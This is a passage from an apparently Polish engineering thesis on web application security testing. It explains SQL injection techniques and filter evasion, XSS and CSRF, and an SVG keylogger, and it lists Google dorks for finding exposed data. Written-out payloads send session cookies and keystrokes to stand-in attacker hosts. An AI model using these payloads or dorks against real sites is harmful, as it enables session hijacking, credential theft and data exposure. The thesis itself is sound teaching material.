do bazy danych, dlatego sprawdzają ich wartość pod kątem określonych znaków, które mogłyby zmienić wynik zapytania, a co za tym idzie – logikę działania aplikacji. Należy również zauważyć, że jeśli zapytanie było by skonstruowane w inny sposób: SELECT user_id FROM users WHERE user_password = ‘%2’ AND user_login = ‘%1’ To taka próba ominięcia logowania nie zdała by egzaminu – oczywiście na szczęście (bądź też nieszczęście) można postarać się o inną modyfikację zapytania. 16 2.2.3 Inne operacje na bazie danych – Wstrzyknięcie SQL Wykorzystanie UNION SELECT Atak Wstrzyknięcie SQL z wykorzystaniem UNION SELECT polega na doklejeniu drugiego zapytania do oryginalnego i zwrócenia jego wyników wraz z tymi, które były przewidziane przez programistę. Przykładowe zapytanie: SELECT * FROM ARTICLES WHERE ARTICE_ID = ‘12’ Może być zamienione na: SELECT * FROM ARTICLES WHERE ARTICLE_ID=’12’ UNION SELECT * FROM SECRET_ARTICLES -- ‘ Jednak, aby skorzystać z powyższego ataku powinny być spełnione dwa warunki: 1. Liczba kolumn, które mają zwrócić obydwa zapytania musi być taka sama. 2. Poszczególne kolumny muszą mieć taki sam typ danych. Największą przeszkodą w wykorzystywaniu tego typu zapytania jest nieznajomość schematu bazy danych. Problem jest znacznie mniejszy, jeśli atakujący ma do czynienia z jedną z aplikacji, która jest produktem pudełkowym i można do niej znaleźć dokumentację, w której znajdzie się cały schemat bazy danych. Istnieje jednak kilka sposobów, dzięki którym atakujący może znaleźć zarówno liczbę kolumn w atakowanym zapytaniu jak i typ danych, jaki poszczególne kolumny powinny reprezentować. Należy w tym miejscu wspomnieć, że niektóre bazy danych oferują automatyczną konwersję do wymaganego typu danych – dla przykładu, większość baz danych otrzymując argument będący numerem, kiedy kolumna jest typu znakowego, automatycznie dokona niezbędnej konwersji. Jeśli zaś numer będzie równy 2000, to dodatkowo baza może przeprowadzić konwersję na typ daty. Metoda na określenie ilości kolumn w pierwotnym zapytaniu Do określenia ilości kolumn można skorzystać z zapytania: UNION SELECT null, null, ... FROM DUAL (Wirtualna tabela DUAL jest obsługiwana, z racji kompatybilności przy przenoszeniu różnych aplikacji, przez większość popularnych baz danych.) 17 W powyższym zapytaniu należy modyfikować liczbę wystąpień null, najlepiej zaczynając od jednego wzwyż, gdy liczba kolumn się nie zgadza, zapytanie wstrzyknięte do oryginalnego zwróci błąd bazy danych. Jednak jeśli strona zostanie poprawnie wyświetlona to udało się znaleźć liczbę kolumn zwracanych przez zapytanie. W zapytaniu użyto wartości null, ponieważ bazy danych rzutują tą wartość automatycznie do niemal dowolnego typu kolumny. Inną metodą jest dołączenie kodu, który ma w zamyśle sortować wyniki: ORDER BY 1 Powyższa część zapytania służy do sortowania wyników po pierwszej zwracanej kolumnie, jeśli atakujący będzie zwiększał wartość 1, to w pewnym momencie dojdzie do błędu bazy danych – będzie on oznaczał to, że nie ma takiej kolumny (czyli ilością kolumn jest liczba o jeden niższa, niż ta przy której wystąpił błąd). Metoda na określenie typu danych zwracanych w kolumnach wyniku zapytania Zakładając, że atakujący określił już ilość kolumn w danym zapytaniu, może przystąpić do określenia typu danych zwracanych przez zapytanie. Do określenia większości typów danych można wykorzystać zapytanie podobne do: UNION SELECT ‘a’, null, null Liczba pól, jest liczbą kolumn, w nieznanych jeszcze typach atakujący umieszcza symbol null. Po umieszczeniu pierwszej wartości w nieznanym typie danych, atakujący albo zobaczy błąd niezgodności danych, albo wynik się wyświetli – jeśli się wyświetlił to typ danych został odkryty. Następna iteracja będzie wyglądała podobnie do poniższego przykładu: UNION SELECT ‘a’, ‘b’, null Zmieniając kolejne typy danych atakujący dochodzi do struktury wyniku zapytania. Podczas tego kroku atakujący powinien zwrócić uwagę na kolejność typu danych podawanych jako argumenty zapytania. O ile wartość tekstowa ‘a’ nie rzutuje się automatycznie do numerycznej, to dla liczby 1 niemal na pewno zostanie przeprowadzona konwersja na typ znakowy. 18 Metoda na poznanie struktury bazy danych Mając już określoną część danych, można dokleić zapytanie do tabeli przechowującej informacje na temat struktury bazy danych. W bazach MySQL oraz MS-SQL tabela, która przechowuje dane o wszystkich kolumnach w tabelach nazywa się INFORMATION_SCHEMA.COLUMNS, zaś w bazie Oracle jest to all_tab_columns. Znając już budowę bazy danych oraz podatność na Wstrzyknięcie SQL, można wydostać z bazy praktycznie wszystkie informacje. Wykorzystanie innych komend – INSERT, UPDATE, DELETE Komendy służące do modyfikacji danych (ang. DML - Data Manipulation Language) można wykorzystać w podobny sposób jak SELECT, jednak należy się liczyć z tym, że nietrafione zapytanie może być równoznaczne z utratą celu ataku oraz wartościowych danych (a także ze zwiększoną odpowiedzialnością karną). Omijanie filtrów Jeżeli programista zastosował filtr, wykrywający konkretne znaki, to możliwe, że istnieje w nim podatność. Można to sprawdzić i często ominąć filtr poprzez doklejenie zmodyfikowanego zapytania. Jeżeli filtr blokuje znaki komentarza (--), a nie blokuje pojedynczego apostrofu (‘), to można wstrzyknąć następujący kod: ‘ OR ‘A’ = ‘A Jeżeli zaś treść pola filtrowana jest po słowach kluczowych, to zamiast ich jawnego wykorzystania można zastosować jedną z poniższych reprezentacji (dla przykładu słowo kluczowe SELECT): SeLECT %00SELECT %53%45%4c%45%43%54 Dodatkowo, w bazie danych MySQL pomiędzy słowa kluczowe mogą być wstawiane komentarze, dlatego poprawnym zapytaniem może być również: SEL/*komentarz*/ECT 19 2.3 Ataki typu cross-site O tym typie ataku można w Internecie znaleźć opinie, iż jest nieszkodliwy dla świadomych użytkowników, czyli dla tych, który dobrze wiedzą czym jest bezpieczeństwo komputerowe i jak powinno się postępować, aby nie zostać ofiarą ataku. Nic bardziej mylnego – ataki często nie wymagają żadnej interakcji klienta. Dobrze przeprowadzony atak XSS wymaga od użytkownika tylko wejścia na stronę, którą odwiedza codziennie i doskonale wie, że nic złego go tam nie spotka. Ataki XSS opierają się na wstrzyknięciu do treści strony internetowej (wysłanej przez serwer do klienta) swojego kodu, jednak samo osadzenie kolejnej sekcji w języku HTML, a co za tym idzie – zmiana wyglądu strony, nie jest ani efektowna, ani nie pozwala na zbyt dużo. Z pomocą śpieszy JavaScript (JS) – język skryptowy wykonywany po stronie klienta. Przeglądarki internetowe działają na zasadzie tożsamego pochodzenia (ang. same-originpolicy), co oznacza, że dostęp do obiektu (np. ciasteczka), który został utworzony przez daną stronę, mają jedynie te skrypty, które są wykonywane w jej kontekście. Ściślej rzecz ujmując, dostęp mają te skrypty, które są uruchomione z miejsca identyfikującego się tym samym protokołem, numerem portu i nazwą domenową jak strona, która obiekty stworzyła. Z tego samego powodu użytkownicy Internetu często dziwią się, że jeśli strona jest dostępna pod adresami: http://www.przykladowa-strona.pl, http://przykladowa-strona.pl, czy też https://przykladowa-strona.pl, to funkcjonalność „zapamiętania logowania” działa w obrębie każdego adresu osobno. Wykorzystanie ataku typu XSS dzieli się na trzy typy: Odbite (ang. Reflected XSS) Składowane (ang. Stored XSS) Oparte na DOM (ang. DOM-based XSS) 2.3.1 Odbite XSS Odbite XSS jest najpopularniejszym rodzajem ataku XSS, występuje na stronach, które pobierają w parametrze żądania tekst, który w odpowiedzi zostanie dynamicznie na nich wyświetlony. Swoją nazwę zawdzięcza metodzie działania – atakujący zmienia adres, tak aby zawierał on jego kod, a następnie wywołuje go użytkownik, w którego stronę serwer „odbija” atak. Najczęstsze miejsca występowania podatności na ten typ ataku to wyszukiwarki, które wyświetlają szukaną frazę oraz strony błędów, które w parametrze przyjmują tekst do 20 wyświetlenia. Jeżeli skrypty po stronie serwera nie korzystają z filtrowania tekstu przekazanego parametrem, to jest ona z pewnością podatna na ten rodzaj ataku. Dla przykładowej strony: http://www.przykladowa-strona.pl/error.php?text=Przepraszamy%2c+wystąpił+błąd Może być wyświetlany tekst (w HTML): <p>Przepraszamy, wystąpił błąd</p> Jeżeli atakujący zamieni tekst z parametru na przykładowe wywołanie JS: http://www.przykladowa-strona.pl/error.php?text=<script>alert(1);</script> Rysunek 2. Przykład działania ataku XSS To jeśli po wejściu na powyższy adres pojawi się okienko z numerem 1, to atak został poprawnie przeprowadzony i strona jest podatna. 21 Wykorzystanie ataku Najłatwiejszym sposobem pokazania możliwości takiego ataku jest połączenie go z kradzieżą identyfikatora sesji. Przykładowy scenariusz ataku może wyglądać następująco: 1. Użytkownik loguje się na stronie internetowej – ta, przydziela mu identyfikator sesji i umieszcza go w ciasteczku. 2. Atakujący przesyła ofierze adres URL: http://www.przykladowastrona.pl/error.php?text=<script>var+a=new+Image;+i.src =”http://adres-atakujacego.pl/”%2bdocument.cookie;</script> 3. Użytkownik otwiera w przeglądarce adres URL i wysyła żądanie do serwera. 4. Serwer odpowiada kodem strony, wraz z zamieszczonym przez atakującego kodem JavaScript. 5. Przeglądarka użytkownika odbiera odpowiedź i generuje stronę, wykonując przy tym spreparowany przez atakującego skrypt. 6. Kod JavaScript zmusza przeglądarkę użytkownika do pobrania obrazka znajdującego się pod adresem: http://adres-atakujacego.pl/<treść pliku cookie> 7. Obrazka pod danym adresem oczywiście nie ma (choć nic nie stoi na przeszkodzie, aby taką funkcjonalność zapewnić), aczkolwiek serwer atakującego zapisuje w swoim dzienniku dokładny adres URL, który wywołała ofiara. 8. Atakujący odczytuje plik dziennika swojego serwera i znajduje w nim identyfikator sesji ofiary. Powyższym sposobem atakujący zyskał dostęp do konta ofiary w danej aplikacji internetowej, pod warunkiem, że identyfikatory sesji przechowywane są tylko w ciasteczkach i serwis nie ma innych zabezpieczeń. Dobrym przykładem opisywanego ataku jest dziura znaleziona w roku 2004 przez Dave Armstronga w internetowym serwisie aukcyjnym eBay. Błąd polegał na możliwości odpowiedniego spreparowania adresu URL, tak aby nieświadomy użytkownik (uprzednio zalogowany na eBay) odwiedzający spreparowany adres URL wziął udział w licytacji [3]. 22 2.3.2 Składowane XSS Inny typ ataku XSS jest określany jako składowany, ta wersja dotyczy sytuacji, kiedy dane przesłane przez jednego użytkownika są zapisane w bazie danych i później wyświetlane innym użytkownikom bez niezbędnego filtrowania. Atak typu Składowany XSS jest groźniejszy od Odbitego XSS, ponieważ atakujący nie musi zmuszać ofiary do wejścia na konkretny adres URL. Wystarczy, w zależności od miejsca występowania błędu, opublikować wiadomość na forum, przesłać prywatną wiadomość, bądź też umieścić ogłoszenie – indukuje to inne poważne zagrożenie – spreparowana wiadomość może wyświetlić się u większej liczby odbiorców, co oznacza atak na większą skalę. Jeżeli jednym z użytkowników, którzy wyświetlą stronę ze złośliwym kodem będzie taki, który posiada uprawienia administratora – atakujący może przejąć całą aplikację. Scenariusz ataku jest podobny do Odbitego XSS, najpierw atakujący znajduje lukę w filtrowaniu danych, a następnie wykorzystuje ją umieszczając spreparowany fragment skryptu. 2.3.3 DOM-based XSS Trzecią kategorią ataków XSS jest atak oparty na Obiektowym Modelu Dokumentów (ang. DOM- Document Object Model). Ten typ ataku jest równie groźny, co Składowany XSS, opiera się on na poniższym zachowaniu: 1. Użytkownik wchodzi na spreparowany przez atakującego adres URL, zawierający złośliwy kod. 2. Serwer zwraca odpowiedź, która nie zawiera kodu wprowadzonego przez atakującego. 3. Podczas przetwarzania odpowiedzi przez przeglądarkę wywołuje się złośliwy skrypt. Implementacja powyższego zachowania ogranicza się do zwracania przez serwer stałego kodu: <script> var url = document.location; url = unescape(url); var message = url.substring(url.indexOf(‘text=’) + 5, url.length); document.write(message); </script> 23 Powyższy kod pobiera z przeglądarki aktualny adres URL i wybiera z niego ciąg znaków będący parametrem o nazwie text, następnie wypisuje go na stronie. Programiści często pomijają walidację kodu, którego nie zwracają w odpowiedzi klientowi, jednak jest to, jak widać, poważny błąd. Jeżeli użytkownik wejdzie pod adres URL: http://www.przykladowastrona.pl/error.php?text=<script>var+a=new+Image;+i.src =”http://adres-atakujacego.pl/”%2bdocument.cookie;</script> To spotka go ten sam los, co przy ataku typu Odbity XSS. Obydwa ataki mogą wydawać się podobne, jednak ich sposób realizacji jest istotną różnicą. 2.3.4 Wykorzystanie ataków XSS Ataki XSS, poza przedstawionym przechwytywaniem sesji, mogą wykonywać najróżniejsze funkcje, między innymi: Instalacja złośliwego oprogramowania Zamiast skryptu, który przechodzi na stronę atakującego – może on ładować i wykonywać inny skrypt, który jest exploitem na daną wersję przeglądarki, przez co często atakujący ma dostęp do komputera ofiary. Wykonywanie akcji w imieniu użytkowników Skrypt zawarty w XSS może także wykonywać akcje, które użytkownik mógłby wykonać poprzez przesłanie formularza, czy też kliknięcie w odpowiedni adres URL – niezależnie od metody przesyłania danych, czy jest to POST, czy też GET, atakujący może wykonać praktycznie dowolną akcję, którą mógłby wykonać użytkownik. Zapytania GET łatwo spreparować, wystarczy wprowadzić kilka zmian do przedstawionego wcześniej skryptu, wysyłającego zawartość ciasteczka atakującemu. http://www.przykladowastrona.pl/error.php?text=<script>var+a=new+Image;+i.src =”http:// przykladowastrona.pl/usun_komentarz.php?akcja=del&&id_komentarza=233”;</scr ipt> Powyższy skrypt zmusi przeglądarkę do wywołania adresu URL: http:// przykladowastrona.pl/usun_komentarz.php?akcja=del&&id_komentarza=233 24 Który może służyć na przykład do usuwania napisanego przez użytkownika komentarza w danej aplikacji, w takiej sytuacji nietrudno jest spreparować adres URL, który mógłby usuwać konto użytkownika (o ile autor aplikacji nie zastosowałby podwójnego potwierdzenia takiej akcji). Jeśli atakujący napotka na swojej drodze filtr, który będzie skutecznie odrzucał zapytania z frazą <script>, to może także wykorzystać jeszcze łatwiejszy sposób: http://www.przykladowastrona.pl/error.php?text=<img+src=”? akcja=del&&id_komentarza=233”> Co także powinno odnieść pożądany skutek, różnicą pomiędzy tym URL, a poprzednim jest wykorzystanie JavaScript – w tej sytuacji nie jest on niezbędny, należy jednak pamiętać, że jeśli atakujący chce dostać się do zawartości ciasteczek, to zwykły HTML mu do tego nie wystarczy. Zapytania POST nie są trudniejsze w realizacji, jednak jest tu więcej kodu: <form action=”usun_komentarz.php” method=”post” id=”usuwanie_komentarza”> <input name=”akcja” type=”hidden” value=”del”> <input name=”id_komentarza” type=”hidden” value=”233”> </form> <script> var formularz = document.getElementById(„usuwanie_komentarza”); formularz.submit(); </script> Po wejściu na spreparowany adres URL, przeglądarka użytkownika zbuduje niewidoczny formularz uzupełniony danymi i wyśle go metodą POST do skryptu usun_komentarz.php. Tak duże skrypty wymagają specjalnego traktowania, z racji iż protokół HTTP nie specyfikuje maksymalnej długości adresu URL (wraz z parametrami przesyłanymi metodą GET), to przeglądarki internetowe oraz serwery WWW narzucają pewne limity [4]. 2.3.5 Request forgery Kategoria ataków „Request Forgery” jest także określana mianem „ujeżdżania sesji” (ang. session riding) i jest ściśle powiązana z atakami przejmowania sesji. Powiązanie z mechanizmami sesji dotyczy wykorzystywania faktu, iż użytkownik ma ustaloną sesję w 25 danej aplikacji i może do niej wysyłać żądania, które są spowodowane złośliwym kodem atakującego. W tej sytuacji atakujący nie musi znać znacznika sesji ofiary. On-Site Request Forgery (OSRF) OSRF przypomina ataki typu „Składowane XSS”. Dobrym przykładem ataku jest zdarzenie jakie miało miejsce na portalu społecznościowym MySpace – użytkownik o nazwie Samy umieścił na swoim profilu pewien skrypt, który powodował, że odwiedzający jego profil nieświadomie dodawali do swoich profili tekst „but most of all, Samy is my hero” wraz z kopią skryptu. W ciągu 20 godzin powyżej milion użytkowników uruchomiło skrypt, umieszczając tym samym tekst na swoim profilu [5]. Przykład Dla zobrazowania działania tego typu ataku można wyobrazić sobie nagłówek żądania HTTP: POST /usercontent/new_post.aspx HTTP/1.1 Host: serwis-z-gratulacjami.pl Cookie: SessionId=a8f5f167f44f4964e6c998dee827110c Content-Type: application/x-www-form-urlencoded Content-Lenght: 27 img=happy&content=gratuluje Po wysłaniu powyższego żądania na stronie internetowej generuje się kod HTML: <tr> <td><img src=”happy.png”></td> <td>gratuluje</td> </tr> W powyższym kodzie HTML użytkownik ma wpływ na zawartość dwóch kolumn w wierszu tabeli. Zakładając, że strona nie jest podatna na ataki XSS, pole manewru jest bardzo ograniczone, ale przy odpowiedniej znajomości omawianej aplikacji, atakujący może spreparować treść żądania, tak aby użytkownicy mimowolnie wykonywali pewne akcje. 26 POST /usercontent/new_post.aspx HTTP/1.1 Host: serwis-z-gratulacjami.pl Cookie: SessionId=a8f5f167f44f4964e6c998dee827110c Content-Type: application/x-www-form-urlencoded Content-Lenght: 27 img=../admin/removeAccount.aspx?username=admin#&content=gratuluje Zwykli użytkownicy, przeglądając stronę, nie odczują żadnej różnicy, w ich imieniu zostanie wysłane przez przeglądarkę żądanie GET z pewnymi parametrami – oczywiście wykonanie akcji się nie powiedzie, ponieważ nie mają oni uprawnień administratorskich. Jeśli zaś stronę obejrzy administrator serwisu to usunie konto o nazwie admin. Do wykonania powyższego ataku niezbędne jest to, aby skrypt removeAccount.aspx przyjmował argumenty poprzez metodę GET oraz aby aplikacja internetowa śledziła sesje korzystając tylko z ciasteczek. Cross-Site Request Forgery (CSRF) Ataki typu CSRF są często mylnie kojarzone z XSS (ang. cross-site scripting), bądź też uznawane za ich podzbiór. Idea ataku polega na stworzeniu strony internetowej, która spowoduje wysłanie spreparowanego żądania bezpośrednio do serwisu internetowego, na którym ofiara jest zalogowana. Polityka tożsamego pochodzenia nie pozwala stronie, z której pochodzi żądanie do innego serwisu internetowego, na przetwarzanie odpowiedzi na to żądanie, jednak nie zabrania jednocześnie wysyłania takich żądań (stąd nazwa cross-site). Przykład Podczas analizy strony internetowej atakujący dowiedział się, że dodawanie nowych komentarzy dostępne jest tylko dla zalogowanych użytkowników. Komentarz pojawia się pod konkretnym artykułem i podpisany jest przez użytkownika. 27 Podczas zapisywania komentarza na stronie, która jest celem ataku wysyłane jest żądanie: POST /usercontent/new_comment.aspx HTTP/1.1 Host: serwis-z-komentarzami.pl Cookie: SessionId=a8f5f167f44f4964e6c998dee827110c Content-Type: application/x-www-form-urlencoded Content-Lenght: 69 title=moj%20komentarz&comment=bardzo%20dobra%20strona&article_id=233 Na podstawie analizy powyższego żądania można zauważyć dwie istotne cechy strony internetowej: 1. Identyfikator sesji przechowywany jest tylko w ciasteczku. 2. Atakujący może przewidzieć, bądź też spreparować wszystkie parametry żądania, oprócz identyfikatora sesji. Przykładowy atak polega na zamieszczeniu poniższego kodu HTML na dowolnym serwerze internetowym i zaproszeniu do odwiedzenia go przez ofiarę: <html> <body> <form method="POST" action="http://serwis-z-komentarzami.pl/usercontent/new_comment.aspx"> <input type="hidden" name="title" value="niezadowolony"> <input type="hidden" name="comment" value="nie podoba mi sie!"> <input type="hidden" name="article_id" value="223"> </form> <script> document.forms[0].submit(); </script> </body> </html> Jeśli podczas wejścia na powyższa stronę internetową ofiara będzie w tym samym czasie zalogowana do serwisu, który jest celem ataku, to do żądania POST przeglądarka doklei brakujący identyfikator sesji, znajdujący się w ciasteczku. Następnie zostanie wywołany skrypt new_comment.aspx, który otrzymując niezbędne informacje, utworzy komentarz pod zadanym artykułem w imieniu osoby, która odwiedza stronę internetową (ofiara). 28 2.4 Ataki na przeglądarkę Kolejna kategoria ataków nie jest uzależniona od zachowania specyficznej aplikacji internetowej, wykorzystywane są podatności, które zawiera w sobie przeglądarka internetowa. Wspomniane podatności często są implementowane świadomie przez programistów jako nowe i innowacyjne funkcjonalności, a dopiero gdy komuś uda się wykorzystać daną funkcjonalność w nieprzewidziany sposób, stają się zagrożeniem. Większość nowoczesnych ataków na przeglądarki opiera się na osadzonym kodzie JavaScript, jeszcze kilka lat temu modne były aplety Java, a jeszcze wcześniej komponenty AciveX. Do obrony przed złośliwym kodem stworzono całą masę wtyczek do przeglądarek, które modyfikują ich działanie – przykładem może tutaj być NoScript (do pobrania pod adresem http://noscript.net/) – wtyczka do przeglądarek bazujących na silniku Mozilla, takich jak Firefox. NoScript filtruje skrypty i pozwala je uruchamiać tylko na zaufanych witrynach. 2.4.1 Zdalne zapisywanie naciśnięć klawiszy w przeglądarce Firefox Najpopularniejszym sposobem na zapisywanie naciśnięć klawiszy jest oczywiście JavaScript – złośliwy kod można osadzić w stronie za pomocą ataku XSS. Przed skryptami łatwo się jednak obronić, a co jeśli złośliwy kod zostanie umieszczony poza skryptami, tam gdzie nikt się go nie spodziewał? Nowoczesne przeglądarki implementują obsługę nawet takich formatów jak SVG – jest to jedna z wyżej omawianych „dodatkowych” funkcjonalności, które programiści przewidzieli dla użytkowników. Format SVG jest rozbudowany i posiada bardzo duże możliwości, między innymi – interakcję z użytkownikiem – nic więc nie stoi na przeszkodzie, aby zaimplementować program zapisujący naciśnięcia klawiszy (ang. keylogger) korzystając z formatu SVG. Elementy <set> mogą nasłuchiwać pewnych zdarzeń, używając zdarzenia accessKey() programista może reagować na naciśnięcia klawiszy, zaś złośliwy programista może umieścić na stronie internetowej kod, który będzie spełniał rolę programu zdalnie logującego naciśnięcia klawiszy: <svg height="0px"> <image xmlns:xlink="http://www.w3.org/1999/xlink" xlink:href="none"> <set attributeName="xlink:href" begin="accessKey(a)" to="//zlastrona.pl/?a" /> <set attributeName="xlink:href" begin="accessKey(b)" to="//zlastrona.pl/?b" /> 29 <set attributeName="xlink:href" begin="accessKey(c)" to="//zlastrona.pl/?c" /> <set attributeName="xlink:href" begin="accessKey(d)" to="//zlastrona.pl/?d" /> <set attributeName="xlink:href" begin="accessKey(e)" to="//zlastrona.pl/?e" /> ... <set attributeName="xlink:href" begin="accessKey(v)" to="//zlastrona.pl/?v" /> <set attributeName="xlink:href" begin="accessKey(w)" to="//zlastrona.pl/?w" /> <set attributeName="xlink:href" begin="accessKey(x)" to="//zlastrona.pl/?x" /> <set attributeName="xlink:href" begin="accessKey(y)" to="//zlastrona.pl/?y" /> <set attributeName="xlink:href" begin="accessKey(z)" to="//zlastrona.pl/?z" /> </image> </svg> Najciekawszym zastosowaniem powyższego kodu jest oczywiście jego wstrzyknięcie do istniejącej witryny (np. poprzez atak XSS). Wynik działania kodu podobnego do powyższego można zaobserwować poniżej, na zrzucie ekranu z wtyczki FireBug (do pobrania pod adresem http://getfirebug.com/) do przeglądarki Firefox. W dolnej części okna widać, jak kolejne żądania GET z naciśniętymi klawiszami przesyłane są do innego serwisu internetowego, który z kolei zapisuje wszystkie dane wejściowe. Rysunek 3. Przykład działania złośliwego pliku SVG 30 2.4.2 Poznanie historii odwiedzonych stron JavaScript może zostać użyty do poznania historii odwiedzonych witryn. Omawiany sposób polega na wyświetlaniu adresów URL do popularnych witryn oraz haseł wyszukiwania metodą siłową (ang. brute-force) i pobieraniu stylu wygenerowanego adresu metodą getComputedStyle() w celu sprawdzenia, czy został on pokolorowany przez przeglądarkę. Atak jest z pozoru niegroźny, ale pozwala atakującemu na znaczne zawężenie grona celów ataku, bądź też na dobranie odpowiednich środków. 2.5 Wyszukiwarka Google Wyszukiwarka Google z pozoru nie wygląda na narzędzie do testowania bezpieczeństwa, ale wystarczy tylko znajomość kilku słów kluczowych, aby przekonać się o drzemiącej w niej sile. Zwykłe zapytanie wpisane do wyszukiwarki zwróci bardzo dużą liczbę wyników, które nie zawsze są interesujące z punktu widzenia użytkownika, dlatego Google postanowiło wprowadzić specjalne oznaczenia, które można używać w zapytaniach i mogą one znacząco zawęzić wyniki tylko do tych najbardziej interesujących. Społeczność ludzi zainteresowanych tematyką bezpieczeństwa systemów informatycznych szybko znalazła kolejne zastosowanie dla wyszukiwarki Google i jej słów kluczowych. Można jej używać także do wyszukiwania celów ataków, sprawdzania ich zabezpieczeń oraz odnajdywania stron i informacji, które nie są przeznaczone dla osób postronnych. Do stron i plików, które można znaleźć w Internecie za pomocą wyszukiwarki należą między innymi: Strony konfiguracyjne drukarek i innych sprzętów, które prawdopodobnie przez przypadek zostały wystawione do Internetu. Strony serwerów, które zostały niepoprawnie skonfigurowane. Pliki będące zrzutami bazy danych, które zawierają loginy i hasła użytkowników różnych serwisów. I wiele innych, wszystko zależy tylko od fantazji i pomysłowości użytkownika. 31 Poniżej zostały przedstawione najważniejsze słowa klucze używane w wyszukiwarce Google do testowania bezpieczeństwa: Tabela 1. Najważniejsze słowa kluczowe w przeglądarce Google. Przykład Ograniczenie wyników do filetype:doc Plików o rozszerzeniu .doc. intitle:”ciąg_znaków” Stron, które mają w tytule „ciąg_znaków”. cache:www.adres-strony.pl Stron w pamięci cache wyszukiwarki (starsze kopie). intext:”ciąg_znaków” Stron, które mają „ciąg_znaków”, w pomijane swojej są treści wyniki z trafieniami tylko w adresie URL, bądź w tytule. inurl:”ciąg_znaków” Stron, które mają w adresie „ciąg_znaków”. site:www.adres-strony.pl Określonej domeny. Przykłady wykorzystania Tabela 2. Przykłady wykorzystania słów kluczowych w przeglądarce Google. Przykład wykorzystania Uzyskany wynik inurl:"ViewerFrame?Mode=" Obrazy z kamer internetowych. "admin account info" filetype:log Dane logowania dla konta z uprawieniami administratora. intitle:index.of inurl:admin inurl:backup Listy katalogów, zawierające w adresie URL słowa „admin” i „backup”. inurl:hp/device/this.LCDispatcher Panele drukarek. Więcej przykładów ciekawego wykorzystania narzędzia Google można znaleźć w Internecie pod adresem: http://www.exploit-db.com/google-dorks/. 32 2.6 Dobrze znane luki aplikacji internetowych Zanim tester przystąpi do poszukiwania dziur bezpieczeństwa w badanej aplikacji internetowej, powinien dokonać rozpoznania celu, tak aby wiedzieć z jaką aplikacją ma do czynienia. Aplikacje internetowe dzielą się, ze względu na swoje pochodzenie, na dwie grupy: Aplikacje ogólnodostępne (darmowe, bądź też komercyjne). Aplikacje napisane na zamówienie. Niedoświadczony tester może mieć trudności w rozpoznaniu pochodzenia aplikacji. Informacji dotyczącej autorów najłatwiej jest szukać na samej stronie internetowej aplikacji, może to być odpowiedni zapis w stopce, aczkolwiek najczęściej tester znajdzie odpowiedni zapis w kodzie HTML strony. <meta name="generator" content="WordPress 3.2.1" /> Powyższy zapis znajdujący się w sekcji HEAD kodu HTML strony internetowej jest często spotykany i określa jednoznacznie system używany do utrzymania aplikacji, w tym przypadku tester ma do czynienia z systemem zarządzania treścią (ang. CMS – Content Management System) Wordpress (do pobrania pod adresem http://pl.wordpress.org/) w wersji 3.2.1. Z kodu HTML strony można dowiedzieć się o stronie znacznie więcej: <link rel='stylesheet' id='NextGEN-css' href='http://stronatestowa.pl/wpcontent/plugins/nextgen-gallery/css/nggallery.css?ver=1.0.0' type='text/css' media='screen' /> Powyższy fragment znaleziony, także w sekcji HEAD kodu HTML, świadczy o używaniu dodatku NextGEN (do pobrania pod adresem http://www.nextgen-gallery.com/) w wersji 1.0.0 – wtyczki do systemu Wordpress umożliwiającej utworzenie galerii zdjęć. Jeśli tester ma do czynienia z aplikacją ogólnodostępną to istnieje duża szansa, że ktoś inny już badał daną aplikację i być może znalazł interesujące informacje dotyczące jej bezpieczeństwa. Bardzo istotne jest poznanie wersji używanego systemu, tak aby można było w Internecie wyszukać znanych luk, które nie zostały załatane w badanej wersji programu. Opis błędów, wraz z przykładowym wykorzystaniem, tak zwanym dowodem słuszności (ang. Proof-of-Concept) może zostać znaleziony na oficjalnym narzędziu do śledzenia podatności (ang. bug tracker) aplikacji, bądź też na forach i listach dyskusyjnych o tematyce 33 bezpieczeństwa komputerowego. W celu znalezienia omawianych stron wystarczy użyć jednej z wyszukiwarek internetowych np. Google. Jeśli zaś tester nie znalazł żadnych przesłanek świadczących o tym, że aplikacja działa na znanym skrypcie to istnieje duże prawdopodobieństwo, że ma do czynienia z aplikacja napisaną na zamówienie, niepowtarzalną i przede wszystkim słabo przetestowaną. 34 3 Narzędzia i automatyzacja testów Narzędzia omówione w niniejszym rozdziale pozwalają na przeprowadzenie zaawansowanych testów zabezpieczeń aplikacji internetowych. Używanie ich w każdym napotkanym przypadku często okazuje się niestety zbędne, ponieważ sposób ich wykorzystania powinien być uzależniony od kontekstu, czyli charakterystyki badanej aplikacji. Opisywane w tym rozdziale narzędzia zostały dołączone do systemu, który jest praktyczną częścią niniejszej pracy inżynierskiej. Do przeprowadzenia testu zabezpieczeń aplikacji internetowej niewątpliwie potrzebna jest duża wiedza merytoryczna, jednak w warunkach jakie panują w większości firm specjalizujących się w tej dziedzinie liczy się jeszcze czas. Z tego powodu bardzo ważne jest umiejętne korzystanie z aplikacji, które pozwolą oszczędzić testerowi szukania luk, tam gdzie może ich nie być, a za to naprowadzą go na dobry tor. Automatyzacja testów zabezpieczeń umożliwia nie tylko przeprowadzenie ogromnej ilości testów w bardzo krótkim czasie, ale także zbudowanie bazy do testów regresyjnych. W kolejnych podrozdziałach zostały przedstawione narzędzia, które pozwalają na automatyzację testów bezpieczeństwa aplikacji internetowych. Wymienione narzędzia są popularne zarówno wśród osób amatorsko zajmujących się tematyką testowania aplikacji internetowych jak i profesjonalistów, którzy zarabiają w ten sposób na życie. Aplikacje te są nadal wspierane przez autorów przez co cały czas pojawiają się ich aktualizacje oraz ulepszenia. Tester bezpieczeństwa powinien być świadomy, że używanie wymienionych niżej narzędzi może prowadzić do uszkodzenia danych, bądź też nawet awarii serwera. Dlatego właśnie, w warunkach komercyjnych kluczowym dokumentem jest dla testera upoważnienie do przeprowadzenia testów, tak aby w razie nieszczęśliwego wypadku był on odpowiednio zabezpieczony prawnie. 3.1 Nikto Nikto (do pobrania pod adresem http://www.cirt.net/nikto2) jest doskonałym skanerem aplikacji internetowych, napisany w języku Perl. Skrypt wymaga od użytkownika zainstalowanego zewnętrznego modułu LibWhisker (do pobrania pod adresem http://sourceforge.net/projects/whisker/). Do uruchomienia skryptu pod systemem Windows 35 należy uprzednio zainstalować środowisko Cygwin (do pobrania pod adresem http://www.cygwin.com/). Program ewoluował przez wiele lat swojego istnienia i posiada bardzo wiele rozbudowanych funkcji, między innymi możliwość unikania wykrycia przez systemy wykrywania włamań (ang. Intrusion Detection System). Najprostsze wywołanie programu to ogranicza się do wpisania w linii poleceń: nikto.pl –h [adres_hosta] Po drobnych modyfikacjach opcji polecenia program stworzy przyjazny użytkownikowi raport w pliku HTML. Zrzut z przykładowego 